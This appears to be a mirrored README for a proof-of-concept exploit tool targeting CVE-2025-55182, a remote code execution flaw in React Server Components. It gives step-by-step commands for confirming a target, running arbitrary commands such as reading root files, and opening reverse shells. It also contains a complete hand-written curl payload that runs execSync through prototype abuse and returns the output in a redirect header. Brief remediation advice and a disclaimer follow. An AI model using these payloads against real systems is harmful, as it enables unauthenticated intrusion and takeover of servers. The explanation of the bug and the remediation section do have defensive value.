Share
## https://sploitus.com/exploit?id=FF7344F1-411D-55F1-B276-7221215B98DB
# CVE-2025-55182 β€” React2Shell

**Unauthenticated RCE in React Server Components**

Author: TYehan

---

## TL;DR

A single unauthenticated HTTP request can execute arbitrary code on the server. The bug lives in how the React Flight protocol deserializes Server Action requests β€” no credentials or prior access required.

| | |
|---|---|
| **CVE** | CVE-2025-55182 |
| **CVSS** | 10.0 |
| **Type** | Pre-auth RCE |
| **Disclosed** | December 3, 2025 |
| **Auth required** | None |

---

## 1. Affected Versions

| Package | Vulnerable | Fixed |
|---|---|---|
| `react-server` | 19.0.0 – 19.2.0 | 19.3.0+ |
| `next` | Any version paired with unpatched React 19 | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |

Default configurations are vulnerable. No custom application code is required to be exposed.

---

## 2. Requirements

- Python 3.8+
- `pip install requests`

---

## 3. Usage


**Recommended order:** `check` β†’ `exec` (for enumeration / flag retrieval) β†’ `revshell` (when you need an interactive session). Proxy routing and User-Agent rotation work with any module.

```
python exploit.py  -t  [options]
```
**Recommended workflow β€” always start with check:**

```bash
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50

# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Get a shell when you need interactivity
#    (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
```

Proxy support and random User-Agent work with any module:

```bash
python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
```

Per-module help: `python exploit.py  --help`


| Module | Purpose |
|---|---|
| `check` | Fingerprint the target and confirm it's vulnerable |
| `exec` | Run a single OS command and read the output |
| `revshell` | Send a reverse shell to a listener |

Run `python exploit.py  --help` for the full list of flags for that module (target, command, listener host/port, shell type, proxy, timeout, user-agent rotation, etc.).


---

```
Options:
  -t, --target URL      Target URL
  -c CMD                Command to run  (exec module)
  --lhost IP            Your IP  (auto-detected from tun0 if not set)
  --lport PORT          Listening port  (default: 4444)
  --shell-type TYPE     bash Β· python3 Β· nc Β· mkfifo Β· node  (default: bash)
  --proxy URL           Route through a proxy  (e.g. http://127.0.0.1:8080)
  --random-agent        Rotate User-Agent on each request
  --timeout N           Request timeout  (default: 15)
```

---

## 4. How It Works

### 4.1 Background

React Server Components talk to the browser using an internal streaming format called the **Flight protocol**. When a browser triggers a Server Action, it sends a `multipart/form-data` POST to the app root with a `Next-Action` header. The server hands that body to the `react-server` package for deserialization *before* doing anything else β€” including checking whether the action ID is even valid.

```
Browser                              Next.js / Node.js
  β”‚                                         β”‚
  │── POST /  ─────────────────────────────▢│
  β”‚   Next-Action: x                        β”‚
  β”‚   Content-Type: multipart/form-data     β”‚
  β”‚   Body: crafted Flight chunk            β”‚
  β”‚                                         β”‚
  β”‚                         react-server    β”‚
  β”‚                  resolveModelToJSON()   β”‚ ◀── vulnerable here
  β”‚                                         β”‚
  │◀── 307 + X-Action-Redirect ─────────────│
  β”‚    (command output embedded)            β”‚
```

### 4.2 The Core Bug

Inside `resolveModelToJSON()`, the deserializer walks the incoming JSON chunk. If it sees an object with a `then` property, it treats it as a Promise and awaits it β€” intentional, since async Server Components are a real feature.

The flaw: **nothing verifies that the thenable actually came from a trusted source.**

A crafted chunk can set `then` to point at `child_process.execSync(...)`. React dutifully awaits it. The command runs on the server.

### 4.3 Why `Next-Action: x` works

In production, Server Actions are identified by a SHA hash. The server should validate this before processing. But the Flight decoder runs **before** that check β€” meaning any POST with a `Next-Action` header, even a completely fake one like `x`, triggers the vulnerable deserialization path. No valid action ID is needed.

### 4.4 Getting the Output Back

The injected code runs the command, then throws a fake `NEXT_REDIRECT` error containing the result:

```javascript
var res = require('child_process').execSync('').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
```

Next.js catches this and converts it to a `307 Temporary Redirect`, embedding the digest in the `X-Action-Redirect` response header. The command output arrives URL-encoded:

```
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
```

### Manual exploitation with curl

```bash
curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
```

Output is in the `X-Action-Redirect` header, URL-encoded after `/login?a=`.

---

## 5. Remediation

**Patch (preferred):**

```bash
npm install react@latest react-dom@latest next@latest
```

Minimum safe versions: `react-server` β‰₯ 19.3.0, `next` β‰₯ 15.3.6

**If you can't patch immediately:**

- Disable Server Actions: `experimental: { serverActions: false }` in `next.config.js`
- Block the `Next-Action` header at the reverse proxy / load balancer
- Add a WAF rule rejecting POST bodies containing `NEXT_REDIRECT` or `__proto__`

---

## 6. References

- [NVD β€” CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [OffSec](https://www.offsec.com/blog/cve-2025-55182/)
- [Wiz Research](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [Microsoft MSTIC](https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/)
- [Google GTIG](https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182)

---

## Disclaimer

This proof-of-concept is provided strictly for educational purposes and authorized security
testing. It is intended for use only against systems you own, or for which you have obtained
explicit, documented written permission to test (e.g. an authorized penetration test, bug bounty
program in scope, or CTF environment).

Unauthorized access to computer systems is illegal in most jurisdictions. The author and any
contributors assume no liability and are not responsible for any misuse, damage, or legal
consequences arising from the use of this software. By using this PoC, you agree that you are
solely responsible for ensuring you have the legal right to test the target system.

> For authorized penetration testing and educational purposes only.

---

Authors: [TYehan](https://tyehan.github.io/)